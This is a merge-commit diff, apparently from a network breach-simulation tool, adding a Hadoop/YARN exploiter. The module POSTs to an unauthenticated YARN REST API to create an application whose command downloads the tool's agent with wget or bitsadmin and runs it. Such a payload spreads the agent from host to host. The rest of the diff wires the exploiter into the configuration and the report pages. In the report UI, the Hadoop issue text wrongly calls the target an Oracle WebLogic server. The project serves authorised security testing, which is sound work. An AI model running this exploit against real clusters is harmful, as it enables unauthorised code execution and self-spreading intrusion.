Merge pull request #182 from VakarisZ/hadoop_rce

Hadoop with web_rce framework
This commit is contained in:
itaymmguardicore 2018-08-30 14:55:48 +03:00 committed by GitHub
commit 62f6d7748b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
8 changed files with 151 additions and 9 deletions

View File

@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger MSSQLFinger
@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration

View File

@ -38,7 +38,8 @@
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter" "WebLogicExploiter",
"HadoopExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -43,3 +43,4 @@ from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter from struts2 import Struts2Exploiter
from weblogic import WebLogicExploiter from weblogic import WebLogicExploiter
from hadoop import HadoopExploiter

View File

@ -0,0 +1,100 @@
"""
Remote code execution on HADOOP server with YARN and default settings
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import requests
import json
import random
import string
import logging
from exploit.web_rce import WebRCE
from tools import HTTPTools, build_monkey_commandline, get_monkey_depth
import posixpath
from model import MONKEY_ARG, ID_STRING
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
def __init__(self, host):
super(HadoopExploiter, self).__init__(host)
def exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
paths = self.get_monkey_paths()
if not paths:
return False
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
command = self.build_command(paths['dest_path'], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return True
def exploit(self, url, command):
# Get the newly created application id
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
resp = json.loads(resp.content)
app_id = resp['application-id']
# Create a random name for our application in YARN
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
payload = self.build_payload(app_id, rand_name, command)
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
return resp.status_code == 202
def check_if_exploitable(self, url):
try:
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
except requests.ConnectionError:
return False
return resp.status_code == 200
def build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if 'linux' in self.host.os['type']:
base_command = self.LINUX_COMMAND
else:
base_command = self.WINDOWS_COMMAND
return base_command % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
@staticmethod
def build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,
"am-container-spec": {
"commands": {
"command": command,
}
},
"application-type": "YARN"
}
return payload

View File

@ -29,7 +29,6 @@ class MSSQLFinger(HostFinger):
Discovered server information written to the Host info struct. Discovered server information written to the Host info struct.
True if success, False otherwise. True if success, False otherwise.
""" """
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout # Create a UDP socket and sets a timeout

View File

@ -93,6 +93,13 @@ SCHEMA = {
"WebLogicExploiter" "WebLogicExploiter"
], ],
"title": "Oracle Web Logic Exploiter" "title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
} }
] ]
}, },
@ -633,7 +640,8 @@ SCHEMA = {
"SambaCryExploiter", "SambaCryExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter" "WebLogicExploiter",
"HadoopExploiter"
], ],
"description": "description":
"Determines which exploits to use. " + WARNING_SIGN "Determines which exploits to use. " + WARNING_SIGN

View File

@ -31,7 +31,8 @@ class ReportService:
'Ms08_067_Exploiter': 'Conficker Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic exploiter' 'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -44,7 +45,8 @@ class ReportService:
AZURE = 6 AZURE = 6
STOLEN_SSH_KEYS = 7 STOLEN_SSH_KEYS = 7
STRUTS2 = 8 STRUTS2 = 8
WEBLOGIC = 9 WEBLOGIC = 9,
HADOOP = 10
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -306,6 +308,12 @@ class ReportService:
processed_exploit['type'] = 'weblogic' processed_exploit['type'] = 'weblogic'
return processed_exploit return processed_exploit
@staticmethod
def process_hadoop_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'hadoop'
return processed_exploit
@staticmethod @staticmethod
def process_exploit(exploit): def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter'] exploiter_type = exploit['data']['exploiter']
@ -319,7 +327,8 @@ class ReportService:
'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit 'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -441,6 +450,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic': elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh': issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

View File

@ -25,7 +25,8 @@ class ReportPageComponent extends AuthComponent {
AZURE: 6, AZURE: 6,
STOLEN_SSH_KEYS: 7, STOLEN_SSH_KEYS: 7,
STRUTS2: 8, STRUTS2: 8,
WEBLOGIC: 9 WEBLOGIC: 9,
HADOOP: 10
}; };
Warning = Warning =
@ -331,6 +332,8 @@ class ReportPageComponent extends AuthComponent {
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a <li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271"> href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null } CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
</ul> </ul>
</div> </div>
: :
@ -716,6 +719,22 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateHadoopIssue(issue) {
return (
<li>
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
add Kerberos authentication</a>).
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible due to default Hadoop/Yarn configuration being insecure.
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => { generateIssue = (issue) => {
@ -769,6 +788,9 @@ class ReportPageComponent extends AuthComponent {
case 'weblogic': case 'weblogic':
data = this.generateWebLogicIssue(issue); data = this.generateWebLogicIssue(issue);
break; break;
case 'hadoop':
data = this.generateHadoopIssue(issue);
break;
} }
return data; return data;
}; };